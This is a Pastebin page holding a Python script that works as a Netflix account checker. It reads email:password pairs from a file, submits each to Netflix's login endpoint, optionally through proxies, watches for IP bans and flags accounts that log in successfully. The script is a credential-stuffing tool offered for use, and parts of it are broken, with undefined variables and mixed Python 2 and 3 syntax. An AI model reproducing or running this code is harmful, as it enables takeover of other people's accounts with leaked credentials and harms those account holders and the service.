Advertisement
Guest User

Untitled

a guest
Nov 4th, 2018
3,103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.66 KB | None | 0 0
  1. import sys
  2. import time
  3. import requests
  4. import json
  5.  
  6.  
  7. URLlogin = "https://api-global.netflix.com/account/auth"
  8. URLcookies = "https://www.netflix.com/fr/"
  9.  
  10.  
  11. class NetflixClient():
  12.  
  13.     def __init__(self):
  14.         self.client = requests.session() # Create session
  15.  
  16.     def openSession(self, proxy=dict()):
  17.         self.client.get(URLcookies, proxies=proxy, timeout=10)
  18.         if len(self.client.cookies) == 0:
  19.             return False
  20.         return True
  21.        
  22.     def login(self, email, mdp, proxy=dict()):
  23.         r = self.client.post(URLlogin, data=dict(email=email, password=mdp), cookies=self.client.cookies, proxies=proxy, timeout=7.5)
  24.         print(r.text)
  25.         if r.status_code == 403:
  26.             raise Exception("IP ban")
  27.         if r.status_code == 200:
  28.             try:
  29.                 json.loads(r.text)
  30.             except:
  31.                 print("Json error")
  32.                 raise Exception("IP ban")
  33.                
  34.             if (r.text.find("CURRENT_MEMBER") != -1):
  35.                 with open(output, "w") as text_file:
  36.                     text_file.write(txt)
  37.                
  38.             return (True, r.text.find("CURRENT_MEMBER") != -1)
  39.                            
  40.         elif r.text != "Incorrect email address or password.\n":
  41.             print("BANNED")
  42.             raise Exception("IP ban")
  43.         return (False, False)
  44.        
  45.  
  46.        
  47. if __name__ == "__main__":
  48.  
  49.     try:
  50.         timeout_bee = int((sys.argv[1]))
  51.         user_pass = (sys.argv[2])
  52.     except:
  53.         raise Exception("Bad parsing")
  54.    
  55.     with open(user_pass) as f:
  56.        for line in f:
  57.        
  58.            user = line.rsplit(':', 1)[0]
  59.            password = line.rsplit(':', 1)[1]
  60.            testLogin = NetflixClient()
  61.            testLogin.openSession()
  62.            print 'Trying: {0}:{1} {2}'.format(user,password,testLogin.login(user, password))
  63.            
  64.            while(True):
  65.                 print('...')
  66.                 time.sleep(timeout_bee)
  67.                 break
  68.    
  69.     print('END')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement